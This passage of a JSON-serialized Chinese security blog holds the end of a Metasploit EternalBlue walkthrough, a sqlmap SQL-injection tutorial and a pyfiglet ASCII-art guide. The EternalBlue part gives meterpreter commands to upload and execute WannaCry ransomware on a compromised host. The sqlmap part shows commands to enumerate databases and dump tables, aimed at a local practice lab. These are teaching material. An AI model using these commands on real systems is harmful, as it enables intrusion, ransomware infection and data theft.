8\n",{"type":18,"tag":34,"props":27845,"children":27846},{},[27847],{"type":18,"tag":54,"props":27848,"children":27850},{"alt":8,"src":27849},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208122242313.png",[],{"type":18,"tag":154,"props":27852,"children":27853},{"start":662},[27854],{"type":18,"tag":158,"props":27855,"children":27856},{},[27857,27858,27864,27866,27872],{"type":24,"value":6499},{"type":18,"tag":74,"props":27859,"children":27861},{"className":27860},[],[27862],{"type":24,"value":27863},"options",{"type":24,"value":27865}," 来查看相关的配置信息，然后使用 ",{"type":18,"tag":74,"props":27867,"children":27869},{"className":27868},[],[27870],{"type":24,"value":27871},"set",{"type":24,"value":27873}," 设置相关的参数；",{"type":18,"tag":287,"props":27875,"children":27877},{"className":289,"code":27876,"language":291,"meta":8,"style":8},"options\nset rhost \"目标IP\"\n",[27878],{"type":18,"tag":74,"props":27879,"children":27880},{"__ignoreMap":8},[27881,27889],{"type":18,"tag":297,"props":27882,"children":27883},{"class":299,"line":300},[27884],{"type":18,"tag":297,"props":27885,"children":27886},{"style":304},[27887],{"type":24,"value":27888},"options\n",{"type":18,"tag":297,"props":27890,"children":27891},{"class":299,"line":657},[27892,27896,27901],{"type":18,"tag":297,"props":27893,"children":27894},{"style":906},[27895],{"type":24,"value":27871},{"type":18,"tag":297,"props":27897,"children":27898},{"style":310},[27899],{"type":24,"value":27900}," rhost",{"type":18,"tag":297,"props":27902,"children":27903},{"style":310},[27904],{"type":24,"value":27905}," \"目标IP\"\n",{"type":18,"tag":34,"props":27907,"children":27908},{},[27909],{"type":18,"tag":54,"props":27910,"children":27912},{"alt":8,"src":27911},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208123009922.png",[],{"type":18,"tag":154,"props":27914,"children":27915},{"start":799},[27916],{"type":18,"tag":158,"props":27917,"children":27918},{},[27919,27920,27926,27928,27934],{"type":24,"value":642},{"type":18,"tag":74,"props":27921,"children":27923},{"className":27922},[],[27924],{"type":24,"value":27925},"run",{"type":24,"value":27927}," 开始运行，若成功显示 ",{"type":18,"tag":74,"props":27929,"children":27931},{"className":27930},[],[27932],{"type":24,"value":27933},"meterpreter",{"type":24,"value":27935}," 则表示已经成功远控该电脑。",{"type":18,"tag":34,"props":27937,"children":27938},{},[27939],{"type":18,"tag":54,"props":27940,"children":27942},{"alt":8,"src":27941},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208174245408.png",[],{"type":18,"tag":27,"props":27944,"children":27946},{"id":27945},"远控后上传病毒",[27947],{"type":24,"value":27945},{"type":18,"tag":154,"props":27949,"children":27950},{},[27951],{"type":18,"tag":158,"props":27952,"children":27953},{},[27954],{"type":24,"value":27955},"在使用MSF成功得到目标电脑的控制端口后，执行传入病毒的指令：",{"type":18,"tag":287,"props":27957,"children":27959},{"className":289,"code":27958,"language":291,"meta":8,"style":8},"upload 攻击者电脑的病毒绝对路径 受害者电脑病毒的存放路径\n# 以桌面的WannaCryptor.exe病毒为例\nupload C:\u002FUsers\u002FAdministrator\u002FDesktop\u002FRansom.WannaCryptor.exe C:\u002FWindows\u002Ftemp\n",[27960],{"type":18,"tag":74,"props":27961,"children":27962},{"__ignoreMap":8},[27963,27981,27989],{"type":18,"tag":297,"props":27964,"children":27965},{"class":299,"line":300},[27966,27971,27976],{"type":18,"tag":297,"props":27967,"children":27968},{"style":304},[27969],{"type":24,"value":27970},"upload",{"type":18,"tag":297,"props":27972,"children":27973},{"style":310},[27974],{"type":24,"value":27975}," 攻击者电脑的病毒绝对路径",{"type":18,"tag":297,"props":27977,"children":27978},{"style":310},[27979],{"type":24,"value":27980}," 受害者电脑病毒的存放路径\n",{"type":18,"tag":297,"props":27982,"children":27983},{"class":299,"line":657},[27984],{"type":18,"tag":297,"props":27985,"children":27986},{"style":5380},[27987],{"type":24,"value":27988},"# 以桌面的WannaCryptor.exe病毒为例\n",{"type":18,"tag":297,"props":27990,"children":27991},{"class":299,"line":662},[27992,27996,28001],{"type":18,"tag":297,"props":27993,"children":27994},{"style":304},[27995],{"type":24,"value":27970},{"type":18,"tag":297,"props":27997,"children":27998},{"style":310},[27999],{"type":24,"value":28000}," C:\u002FUsers\u002FAdministrator\u002FDesktop\u002FRansom.WannaCryptor.exe",{"type":18,"tag":297,"props":28002,"children":28003},{"style":310},[28004],{"type":24,"value":28005}," C:\u002FWindows\u002Ftemp\n",{"type":18,"tag":154,"props":28007,"children":28008},{"start":657},[28009],{"type":18,"tag":158,"props":28010,"children":28011},{},[28012],{"type":24,"value":28013},"运行病毒",{"type":18,"tag":287,"props":28015,"children":28017},{"className":289,"code":28016,"language":291,"meta":8,"style":8},"execute -f 受害者病毒存放路径\n# 继续以刚才的WannaCryptor.exe病毒为例\nexecute -f C:\u002FWindows\u002Ftemp\u002FRansom.WannaCryptor.exe\n",[28018],{"type":18,"tag":74,"props":28019,"children":28020},{"__ignoreMap":8},[28021,28039,28047],{"type":18,"tag":297,"props":28022,"children":28023},{"class":299,"line":300},[28024,28029,28034],{"type":18,"tag":297,"props":28025,"children":28026},{"style":304},[28027],{"type":24,"value":28028},"execute",{"type":18,"tag":297,"props":28030,"children":28031},{"style":906},[28032],{"type":24,"value":28033}," -f",{"type":18,"tag":297,"props":28035,"children":28036},{"style":310},[28037],{"type":24,"value":28038}," 受害者病毒存放路径\n",{"type":18,"tag":297,"props":28040,"children":28041},{"class":299,"line":657},[28042],{"type":18,"tag":297,"props":28043,"children":28044},{"style":5380},[28045],{"type":24,"value":28046},"# 继续以刚才的WannaCryptor.exe病毒为例\n",{"type":18,"tag":297,"props":28048,"children":28049},{"class":299,"line":662},[28050,28054,28058],{"type":18,"tag":297,"props":28051,"children":28052},{"style":304},[28053],{"type":24,"value":28028},{"type":18,"tag":297,"props":28055,"children":28056},{"style":906},[28057],{"type":24,"value":28033},{"type":18,"tag":297,"props":28059,"children":28060},{"style":310},[28061],{"type":24,"value":28062}," C:\u002FWindows\u002Ftemp\u002FRansom.WannaCryptor.exe\n",{"type":18,"tag":651,"props":28064,"children":28065},{},[28066],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":28068},[28069,28070,28071],{"id":27433,"depth":662,"text":27436},{"id":27649,"depth":662,"text":27649},{"id":27945,"depth":662,"text":27945},"content:blog:2026-03-13-MS17-010-Eternalblue.md","blog\u002F2026-03-13-MS17-010-Eternalblue.md","blog\u002F2026-03-13-MS17-010-Eternalblue",{"_path":28076,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":28077,"description":28078,"date":27389,"tags":28079,"body":28081,"_type":672,"_id":28607,"_source":674,"_file":28608,"_stem":28609,"_extension":677},"\u002Fblog\u002F2026-03-13-sqlmapguide","sqlmap 工具使用","sqlmap 自动化SQL注入工具使用教程，包含漏洞检测、数据库枚举、GET\u002FPOST请求实战案例。",[27391,27392,28080],"SQL注入",{"type":15,"children":28082,"toc":28603},[28083,28096,28102,28107,28114,28119,28150,28158,28182,28189,28194,28201,28209,28237,28244,28249,28256,28264,28301,28308,28312,28319,28327,28381,28388,28392,28399,28465,28473,28494,28503,28538,28547,28579,28599],{"type":18,"tag":96,"props":28084,"children":28085},{},[28086,28091],{"type":18,"tag":34,"props":28087,"children":28088},{},[28089],{"type":24,"value":28090},"sqlmap介绍",{"type":18,"tag":34,"props":28092,"children":28093},{},[28094],{"type":24,"value":28095},"sqlmap 是一款开源、自动化的SQL注入漏洞检测与利用工具，主要用于帮助安全测试人员、渗透测试工程师发现并验证Web应用程序中存在的SQL注入漏洞，进而评估漏洞可能带来的安全风险（如数据泄露、服务器控制权被夺取等）。它基于Python开发，支持多种数据库类型和注入技术，是Web安全领域最常用的工具之一。",{"type":18,"tag":27,"props":28097,"children":28099},{"id":28098},"什么是sql注入",[28100],{"type":24,"value":28101},"什么是SQL注入",{"type":18,"tag":34,"props":28103,"children":28104},{},[28105],{"type":24,"value":28106},"由于Web应用程序对用户输入的数据合法性没有过滤或者判断，攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。",{"type":18,"tag":34,"props":28108,"children":28109},{},[28110],{"type":18,"tag":54,"props":28111,"children":28113},{"alt":8,"src":28112},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207105513000.png",[],{"type":18,"tag":27,"props":28115,"children":28117},{"id":28116},"sqlmap实战",[28118],{"type":24,"value":28116},{"type":18,"tag":96,"props":28120,"children":28121},{},[28122,28127,28145],{"type":18,"tag":34,"props":28123,"children":28124},{},[28125],{"type":24,"value":28126},"目标网站",{"type":18,"tag":34,"props":28128,"children":28129},{},[28130,28132,28137,28139],{"type":24,"value":28131},"B站UP主(ID：",{"type":18,"tag":105,"props":28133,"children":28134},{},[28135],{"type":24,"value":28136},"2005814455",{"type":24,"value":28138},")：",{"type":18,"tag":43,"props":28140,"children":28143},{"href":28141,"rel":28142},"http:\u002F\u002Fa5fa4ee523e3.target.yijinglab.com\u002F",[47],[28144],{"type":24,"value":28141},{"type":18,"tag":2577,"props":28146,"children":28147},{"color":2579},[28148],{"type":24,"value":28149},"\n        不建议使用，建议自己搭建，后续我将使用皮卡丘靶场\n",{"type":18,"tag":154,"props":28151,"children":28152},{},[28153],{"type":18,"tag":158,"props":28154,"children":28155},{},[28156],{"type":24,"value":28157},"测试是否存在漏洞",{"type":18,"tag":287,"props":28159,"children":28161},{"className":289,"code":28160,"language":291,"meta":8,"style":8},"sqlmap -u 测试网址\n",[28162],{"type":18,"tag":74,"props":28163,"children":28164},{"__ignoreMap":8},[28165],{"type":18,"tag":297,"props":28166,"children":28167},{"class":299,"line":300},[28168,28173,28177],{"type":18,"tag":297,"props":28169,"children":28170},{"style":304},[28171],{"type":24,"value":28172},"sqlmap",{"type":18,"tag":297,"props":28174,"children":28175},{"style":906},[28176],{"type":24,"value":957},{"type":18,"tag":297,"props":28178,"children":28179},{"style":310},[28180],{"type":24,"value":28181}," 测试网址\n",{"type":18,"tag":34,"props":28183,"children":28184},{},[28185],{"type":18,"tag":54,"props":28186,"children":28188},{"alt":8,"src":28187},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207114759731.png",[],{"type":18,"tag":34,"props":28190,"children":28191},{},[28192],{"type":24,"value":28193},"(若存在类似于以下的信息则表示存在注入漏洞)",{"type":18,"tag":34,"props":28195,"children":28196},{},[28197],{"type":18,"tag":54,"props":28198,"children":28200},{"alt":8,"src":28199},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207115133507.png",[],{"type":18,"tag":154,"props":28202,"children":28203},{"start":657},[28204],{"type":18,"tag":158,"props":28205,"children":28206},{},[28207],{"type":24,"value":28208},"测试当前的数据库名字",{"type":18,"tag":287,"props":28210,"children":28212},{"className":289,"code":28211,"language":291,"meta":8,"style":8},"sqlmap -u 测试网址 --dbs\n",[28213],{"type":18,"tag":74,"props":28214,"children":28215},{"__ignoreMap":8},[28216],{"type":18,"tag":297,"props":28217,"children":28218},{"class":299,"line":300},[28219,28223,28227,28232],{"type":18,"tag":297,"props":28220,"children":28221},{"style":304},[28222],{"type":24,"value":28172},{"type":18,"tag":297,"props":28224,"children":28225},{"style":906},[28226],{"type":24,"value":957},{"type":18,"tag":297,"props":28228,"children":28229},{"style":310},[28230],{"type":24,"value":28231}," 测试网址",{"type":18,"tag":297,"props":28233,"children":28234},{"style":906},[28235],{"type":24,"value":28236}," --dbs\n",{"type":18,"tag":34,"props":28238,"children":28239},{},[28240],{"type":18,"tag":54,"props":28241,"children":28243},{"alt":8,"src":28242},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207115505172.png",[],{"type":18,"tag":34,"props":28245,"children":28246},{},[28247],{"type":24,"value":28248},"(此处为最终获取到的结果)",{"type":18,"tag":34,"props":28250,"children":28251},{},[28252],{"type":18,"tag":54,"props":28253,"children":28255},{"alt":8,"src":28254},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207115607782.png",[],{"type":18,"tag":154,"props":28257,"children":28258},{"start":662},[28259],{"type":18,"tag":158,"props":28260,"children":28261},{},[28262],{"type":24,"value":28263},"测试指定数据库中的数据表的信息",{"type":18,"tag":287,"props":28265,"children":28267},{"className":289,"code":28266,"language":291,"meta":8,"style":8},"sqlmap -u 测试网址 -D 数据库名 --tables\n",[28268],{"type":18,"tag":74,"props":28269,"children":28270},{"__ignoreMap":8},[28271],{"type":18,"tag":297,"props":28272,"children":28273},{"class":299,"line":300},[28274,28278,28282,28286,28291,28296],{"type":18,"tag":297,"props":28275,"children":28276},{"style":304},[28277],{"type":24,"value":28172},{"type":18,"tag":297,"props":28279,"children":28280},{"style":906},[28281],{"type":24,"value":957},{"type":18,"tag":297,"props":28283,"children":28284},{"style":310},[28285],{"type":24,"value":28231},{"type":18,"tag":297,"props":28287,"children":28288},{"style":906},[28289],{"type":24,"value":28290}," -D",{"type":18,"tag":297,"props":28292,"children":28293},{"style":310},[28294],{"type":24,"value":28295}," 数据库名",{"type":18,"tag":297,"props":28297,"children":28298},{"style":906},[28299],{"type":24,"value":28300}," --tables\n",{"type":18,"tag":34,"props":28302,"children":28303},{},[28304],{"type":18,"tag":54,"props":28305,"children":28307},{"alt":8,"src":28306},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207161902753.png",[],{"type":18,"tag":34,"props":28309,"children":28310},{},[28311],{"type":24,"value":28248},{"type":18,"tag":34,"props":28313,"children":28314},{},[28315],{"type":18,"tag":54,"props":28316,"children":28318},{"alt":8,"src":28317},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260207161950889.png",[],{"type":18,"tag":154,"props":28320,"children":28321},{"start":799},[28322],{"type":18,"tag":158,"props":28323,"children":28324},{},[28325],{"type":24,"value":28326},"测试指定数据表中的数据（此处我使用的自己部署的pikachu靶场）",{"type":18,"tag":287,"props":28328,"children":28330},{"className":289,"code":28329,"language":291,"meta":8,"style":8},"sqlmap -u 测试网址 -D 数据库名 -T 数据表名 [-C 字段名1,字段名2,...] --dump\n",[28331],{"type":18,"tag":74,"props":28332,"children":28333},{"__ignoreMap":8},[28334],{"type":18,"tag":297,"props":28335,"children":28336},{"class":299,"line":300},[28337,28341,28345,28349,28353,28357,28361,28366,28371,28376],{"type":18,"tag":297,"props":28338,"children":28339},{"style":304},[28340],{"type":24,"value":28172},{"type":18,"tag":297,"props":28342,"children":28343},{"style":906},[28344],{"type":24,"value":957},{"type":18,"tag":297,"props":28346,"children":28347},{"style":310},[28348],{"type":24,"value":28231},{"type":18,"tag":297,"props":28350,"children":28351},{"style":906},[28352],{"type":24,"value":28290},{"type":18,"tag":297,"props":28354,"children":28355},{"style":310},[28356],{"type":24,"value":28295},{"type":18,"tag":297,"props":28358,"children":28359},{"style":906},[28360],{"type":24,"value":7484},{"type":18,"tag":297,"props":28362,"children":28363},{"style":310},[28364],{"type":24,"value":28365}," 数据表名",{"type":18,"tag":297,"props":28367,"children":28368},{"style":327},[28369],{"type":24,"value":28370}," [-C ",{"type":18,"tag":297,"props":28372,"children":28373},{"style":310},[28374],{"type":24,"value":28375},"字段名1,字段名2,...]",{"type":18,"tag":297,"props":28377,"children":28378},{"style":906},[28379],{"type":24,"value":28380}," --dump\n",{"type":18,"tag":34,"props":28382,"children":28383},{},[28384],{"type":18,"tag":54,"props":28385,"children":28387},{"alt":8,"src":28386},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208101030974.png",[],{"type":18,"tag":34,"props":28389,"children":28390},{},[28391],{"type":24,"value":28248},{"type":18,"tag":34,"props":28393,"children":28394},{},[28395],{"type":18,"tag":54,"props":28396,"children":28398},{"alt":8,"src":28397},"\u002Fimages\u002Fblog\u002Fkali\u002Ffile-20260208100930513.png",[],{"type":18,"tag":96,"props":28400,"children":28401},{},[28402,28407,28419],{"type":18,"tag":34,"props":28403,"children":28404},{},[28405],{"type":24,"value":28406},"扫描缓存",{"type":18,"tag":34,"props":28408,"children":28409},{},[28410,28412,28417],{"type":24,"value":28411},"sqlmap扫描重复检测出已修复的漏洞，大概率是",{"type":18,"tag":105,"props":28413,"children":28414},{},[28415],{"type":24,"value":28416},"缓存\u002F扫描配置残留或修复未彻底",{"type":24,"value":28418},"导致的。",{"type":18,"tag":154,"props":28420,"children":28421},{},[28422,28435,28454],{"type":18,"tag":158,"props":28423,"children":28424},{},[28425,28427,28433],{"type":24,"value":28426},"扫描命令后直接添加 ",{"type":18,"tag":74,"props":28428,"children":28430},{"className":28429},[],[28431],{"type":24,"value":28432},"--flush-session",{"type":24,"value":28434}," 可以强制清空当前目标的会话缓存，且本次扫描不缓存",{"type":18,"tag":158,"props":28436,"children":28437},{},[28438,28440,28446,28448],{"type":24,"value":28439},"Linux\u002FKali(彻底删除缓存目录)",{"type":18,"tag":74,"props":28441,"children":28443},{"className":28442},[],[28444],{"type":24,"value":28445},"\u002F.local\u002Fshare\u002Fsqlmap\u002F",{"type":24,"value":28447},"或",{"type":18,"tag":74,"props":28449,"children":28451},{"className":28450},[],[28452],{"type":24,"value":28453},"\u002Fusr\u002Fshare\u002Fsqlmap\u002Fdata\u002F",{"type":18,"tag":158,"props":28455,"children":28456},{},[28457,28459],{"type":24,"value":28458},"Kali中可以使用命令一键删除：",{"type":18,"tag":74,"props":28460,"children":28462},{"className":28461},[],[28463],{"type":24,"value":28464},"rm -rf ~\u002F.local\u002Fshare\u002Fsqlmap\u002F*",{"type":18,"tag":34,"props":28466,"children":28467},{},[28468],{"type":18,"tag":105,"props":28469,"children":28470},{},[28471],{"type":24,"value":28472},"常错雷区",{"type":18,"tag":34,"props":28474,"children":28475},{},[28476,28478,28484,28486,28492],{"type":24,"value":28477},"注意区分 ",{"type":18,"tag":74,"props":28479,"children":28481},{"className":28480},[],[28482],{"type":24,"value":28483},"GET",{"type":24,"value":28485}," 请求和 ",{"type":18,"tag":74,"props":28487,"children":28489},{"className":28488},[],[28490],{"type":24,"value":28491},"POST",{"type":24,"value":28493}," 请求，它们的请求方式不同，以我的pikachu靶场为例：",{"type":18,"tag":34,"props":28495,"children":28496},{},[28497],{"type":18,"tag":74,"props":28498,"children":28500},{"className":28499},[],[28501],{"type":24,"value":28502},".\u002Fpikachu\u002Fvul\u002Fsqli\u002Fsqli_str.php",{"type":18,"tag":210,"props":28504,"children":28505},{},[28506,28516,28527],{"type":18,"tag":158,"props":28507,"children":28508},{},[28509,28511],{"type":24,"value":28510},"请求方式：",{"type":18,"tag":74,"props":28512,"children":28514},{"className":28513},[],[28515],{"type":24,"value":28483},{"type":18,"tag":158,"props":28517,"children":28518},{},[28519,28521],{"type":24,"value":28520},"请求参数：",{"type":18,"tag":74,"props":28522,"children":28524},{"className":28523},[],[28525],{"type":24,"value":28526},"name=...&submit=查询",{"type":18,"tag":158,"props":28528,"children":28529},{},[28530,28532],{"type":24,"value":28531},"sqlmap扫描命令：",{"type":18,"tag":74,"props":28533,"children":28535},{"className":28534},[],[28536],{"type":24,"value":28537},"sqlmap -u \"http:\u002F\u002F192.168.1.12:8888\u002Fpikachu\u002Fvul\u002Fsqli\u002Fsqli_str.php?name=zhangsan&submit=查询\" --flush-session",{"type":18,"tag":34,"props":28539,"children":28540},{},[28541],{"type":18,"tag":74,"props":28542,"children":28544},{"className":28543},[],[28545],{"type":24,"value":28546},".\u002Fpikachu\u002Fvul\u002Fsqli\u002Fsqli_id.php",{"type":18,"tag":210,"props":28548,"children":28549},{},[28550,28559,28569],{"type":18,"tag":158,"props":28551,"children":28552},{},[28553,28554],{"type":24,"value":28510},{"type":18,"tag":74,"props":28555,"children":28557},{"className":28556},[],[28558],{"type":24,"value":28491},{"type":18,"tag":158,"props":28560,"children":28561},{},[28562,28563],{"type":24,"value":28520},{"type":18,"tag":74,"props":28564,"children":28566},{"className":28565},[],[28567],{"type":24,"value":28568},"id=...&submit=查询",{"type":18,"tag":158,"props":28570,"children":28571},{},[28572,28573],{"type":24,"value":28531},{"type":18,"tag":74,"props":28574,"children":28576},{"className":28575},[],[28577],{"type":24,"value":28578},"sqlmap -u \"http:\u002F\u002F192.168.1.12:8888\u002Fpikachu\u002Fvul\u002Fsqli\u002Fsqli_id.php\" --data \"id=5&submit=查询\" --flush-session",{"type":18,"tag":96,"props":28580,"children":28581},{},[28582,28586],{"type":18,"tag":34,"props":28583,"children":28584},{},[28585],{"type":24,"value":25744},{"type":18,"tag":34,"props":28587,"children":28588},{},[28589,28591,28597],{"type":24,"value":28590},"此处的 ",{"type":18,"tag":74,"props":28592,"children":28594},{"className":28593},[],[28595],{"type":24,"value":28596},"192.168.1.12:8888",{"type":24,"value":28598}," 为我本地的pikachu靶场地址，扫描时更换为自己的既可",{"type":18,"tag":651,"props":28600,"children":28601},{},[28602],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":28604},[28605,28606],{"id":28098,"depth":662,"text":28101},{"id":28116,"depth":662,"text":28116},"content:blog:2026-03-13-SqlmapGuide.md","blog\u002F2026-03-13-SqlmapGuide.md","blog\u002F2026-03-13-SqlmapGuide",{"_path":28611,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":28612,"description":28613,"date":28614,"tags":28615,"body":28618,"_type":672,"_id":29675,"_source":674,"_file":29676,"_stem":29677,"_extension":677},"\u002Fblog\u002F2026-03-05-pyfiglet-guide","Pyfiglet 使用教程","Pyfiglet ASCII艺术字生成教程，将普通文本转换为Banner、支持多种字体样式、对齐方式与颜色输出。","2026-03-05",[28616,28617],"Python","终端",{"type":15,"children":28619,"toc":29641},[28620,28626,28629,28634,28639,28662,28668,28671,28677,28702,28708,28733,28739,28742,28748,28785,28790,28838,28844,28866,28870,28925,28931,28934,28940,28978,28982,29045,29051,29074,29080,29103,29109,29112,29118,29148,29154,29196,29210,29216,29219,29225,29294,29300,29354,29360,29365,29411,29417,29420,29426,29444,29450,29470,29501,29507,29561,29567,29598,29604,29609,29632,29637],{"type":18,"tag":19,"props":28621,"children":28623},{"id":28622},"一pyfiglet-简介",[28624],{"type":24,"value":28625},"一、Pyfiglet 简介",{"type":18,"tag":121,"props":28627,"children":28628},{},[],{"type":18,"tag":34,"props":28630,"children":28631},{},[28632],{"type":24,"value":28633},"Pyfiglet 是一个 Python 模块，用于将普通文本转换为 ASCII 艺术字（大型字母）。它是 FIGlet 程序的 Python 实现，可以生成各种风格的文本 banner。",{"type":18,"tag":27,"props":28635,"children":28637},{"id":28636},"主要特点",[28638],{"type":24,"value":28636},{"type":18,"tag":210,"props":28640,"children":28641},{},[28642,28647,28652,28657],{"type":18,"tag":158,"props":28643,"children":28644},{},[28645],{"type":24,"value":28646},"支持多种字体样式",{"type":18,"tag":158,"props":28648,"children":28649},{},[28650],{"type":24,"value":28651},"可自定义输出宽度",{"type":18,"tag":158,"props":28653,"children":28654},{},[28655],{"type":24,"value":28656},"支持左右中对齐",{"type":18,"tag":158,"props":28658,"children":28659},{},[28660],{"type":24,"value":28661},"跨平台兼容",{"type":18,"tag":19,"props":28663,"children":28665},{"id":28664},"二安装-pyfiglet",[28666],{"type":24,"value":28667},"二、安装 Pyfiglet",{"type":18,"tag":121,"props":28669,"children":28670},{},[],{"type":18,"tag":27,"props":28672,"children":28674},{"id":28673},"_1-使用-pip-安装",[28675],{"type":24,"value":28676},"1. 使用 pip 安装",{"type":18,"tag":287,"props":28678,"children":28680},{"className":289,"code":28679,"language":291,"meta":8,"style":8},"pip install pyfiglet\n",[28681],{"type":18,"tag":74,"props":28682,"children":28683},{"__ignoreMap":8},[28684],{"type":18,"tag":297,"props":28685,"children":28686},{"class":299,"line":300},[28687,28692,28697],{"type":18,"tag":297,"props":28688,"children":28689},{"style":304},[28690],{"type":24,"value":28691},"pip",{"type":18,"tag":297,"props":28693,"children":28694},{"style":310},[28695],{"type":24,"value":28696}," install",{"type":18,"tag":297,"props":28698,"children":28699},{"style":310},[28700],{"type":24,"value":28701}," pyfiglet\n",{"type":18,"tag":27,"props":28703,"children":28705},{"id":28704},"_2-验证安装",[28706],{"type":24,"value":28707},"2. 验证安装",{"type":18,"tag":287,"props":28709,"children":28713},{"className":28710,"code":28711,"language":28712,"meta":8,"style":8},"language-python shiki shiki-themes github-dark","import pyfiglet\nprint(pyfiglet.__version__)\n","python",[28714],{"type":18,"tag":74,"props":28715,"children":28716},{"__ignoreMap":8},[28717,28725],{"type":18,"tag":297,"props":28718,"children":28719},{"class":299,"line":300},[28720],{"type":18,"tag":297,"props":28721,"children":28722},{},[28723],{"type":24,"value":28724},"import pyfiglet\n",{"type":18,"tag":297,"props":28726,"children":28727},{"class":299,"line":657},[28728],{"type":18,"tag":297,"props":28729,"children":28730},{},[28731],{"type":24,"value":28732},"print(pyfiglet.__version__)\n",{"type":18,"tag":19,"props":28734,"children":28736},{"id":28735},"三基本使用方法",[28737],{"type":24,"value":28738},"三、基本使用方法",{"type":18,"tag":121,"props":28740,"children":28741},{},[],{"type":18,"tag":27,"props":28743,"children":28745},{"id":28744},"_1-最简单的文本转换",[28746],{"type":24,"value":28747},"1. 最简单的文本转换",{"type":18,"tag":287,"props":28749,"children":28751},{"className":28710,"code":28750,"language":28712,"meta":8,"style":8},"import pyfiglet\n\nresult = pyfiglet.figlet_format(\"Hello\")\nprint(result)\n",[28752],{"type":18,"tag":74,"props":28753,"children":28754},{"__ignoreMap":8},[28755,28762,28769,28777],{"type":18,"tag":297,"props":28756,"children":28757},{"class":299,"line":300},[28758],{"type":18,"tag":297,"props":28759,"children":28760},{},[28761],{"type":24,"value":28724},{"type":18,"tag":297,"props":28763,"children":28764},{"class":299,"line":657},[28765],{"type":18,"tag":297,"props":28766,"children":28767},{"emptyLinePlaceholder":793},[28768],{"type":24,"value":796},{"type":18,"tag":297,"props":28770,"children":28771},{"class":299,"line":662},[28772],{"type":18,"tag":297,"props":28773,"children":28774},{},[28775],{"type":24,"value":28776},"result = pyfiglet.figlet_format(\"Hello\")\n",{"type":18,"tag":297,"props":28778,"children":28779},{"class":299,"line":799},[28780],{"type":18,"tag":297,"props":28781,"children":28782},{},[28783],{"type":24,"value":28784},"print(result)\n",{"type":18,"tag":34,"props":28786,"children":28787},{},[28788],{"type":24,"value":28789},"输出:",{"type":18,"tag":287,"props":28791,"children":28794},{"className":28792,"code":28793,"language":24,"meta":8,"style":8},"language-text shiki shiki-themes github-dark","  _   _      _ _       \n | | | | ___| | | ___  \n | |_| |\u002F _ \\ | |\u002F _ \\ \n |  _  |  __\u002F | | (_) |\n |_| |_|\\___|_|_|\\___\u002F \n",[28795],{"type":18,"tag":74,"props":28796,"children":28797},{"__ignoreMap":8},[28798,28806,28814,28822,28830],{"type":18,"tag":297,"props":28799,"children":28800},{"class":299,"line":300},[28801],{"type":18,"tag":297,"props":28802,"children":28803},{},[28804],{"type":24,"value":28805},"  _   _      _ _       \n",{"type":18,"tag":297,"props":28807,"children":28808},{"class":299,"line":657},[28809],{"type":18,"tag":297,"props":28810,"children":28811},{},[28812],{"type":24,"value":28813}," | | | | ___| | | ___  \n",{"type":18,"tag":297,"props":28815,"children":28816},{"class":299,"line":662},[28817],{"type":18,"tag":297,"props":28818,"children":28819},{},[28820],{"type":24,"value":28821}," | |_| |\u002F _ \\ | |\u002F _ \\ \n",{"type":18,"tag":297,"props":28823,"children":28824},{"class":299,"line":799},[28825],{"type":18,"tag":297,"props":28826,"children":28827},{},[28828],{"type":24,"value":28829}," |  _  |  __\u002F | | (_) |\n",{"type":18,"tag":297,"props":28831,"children":28832},{"class":299,"line":808},[28833],{"type":18,"tag":297,"props":28834,"children":28835},{},[28836],{"type":24,"value":28837}," |_| |_|\\___|_|_|\\___\u002F\n",{"type":18,"tag":27,"props":28839,"children":28841},{"id":28840},"_2-指定字体",[28842],{"type":24,"value":28843},"2. 指定字体",{"type":18,"tag":287,"props":28845,"children":28847},{"className":28710,"code":28846,"language":28712,"meta":8,"style":8},"result = pyfiglet.figlet_format(\"Python\", font=\"slant\")\nprint(result)\n",[28848],{"type":18,"tag":74,"props":28849,"children":28850},{"__ignoreMap":8},[28851,28859],{"type":18,"tag":297,"props":28852,"children":28853},{"class":299,"line":300},[28854],{"type":18,"tag":297,"props":28855,"children":28856},{},[28857],{"type":24,"value":28858},"result = pyfiglet.figlet_format(\"Python\", font=\"slant\")\n",{"type":18,"tag":297,"props":28860,"children":28861},{"class":299,"line":657},[28862],{"type":18,"tag":297,"props":28863,"children":28864},{},[28865],{"type":24,"value":28784},{"type":18,"tag":34,"props":28867,"children":28868},{},[28869],{"type":24,"value":28789},{"type":18,"tag":287,"props":28871,"children":28873},{"className":28792,"code":28872,"language":24,"meta":8,"style":8}," ____        _   _                 \n|  _ \\ _   _| |_| |__   ___  _ __  \n| |_) | | | | __| '_ \\ \u002F _ \\| '_ \\ \n|  __\u002F| |_| | |_| | | | (_) | | | |\n|_|    \\__, |\\__|_| |_|\\___\u002F|_| |_|\n       |___\u002F        \n",[28874],{"type":18,"tag":74,"props":28875,"children":28876},{"__ignoreMap":8},[28877,28885,28893,28901,28909,28917],{"type":18,"tag":297,"props":28878,"children":28879},{"class":299,"line":300},[28880],{"type":18,"tag":297,"props":28881,"children":28882},{},[28883],{"type":24,"value":28884}," ____        _   _                 \n",{"type":18,"tag":297,"props":28886,"children":28887},{"class":299,"line":657},[28888],{"type":18,"tag":297,"props":28889,"children":28890},{},[28891],{"type":24,"value":28892},"|  _ \\ _   _| |_| |__   ___  _ __  \n",{"type":18,"tag":297,"props":28894,"children":28895},{"class":299,"line":662},[28896],{"type":18,"tag":297,"props":28897,"children":28898},{},[28899],{"type":24,"value":28900},"| |_) | | | | __| '_ \\ \u002F _ \\| '_ \\ 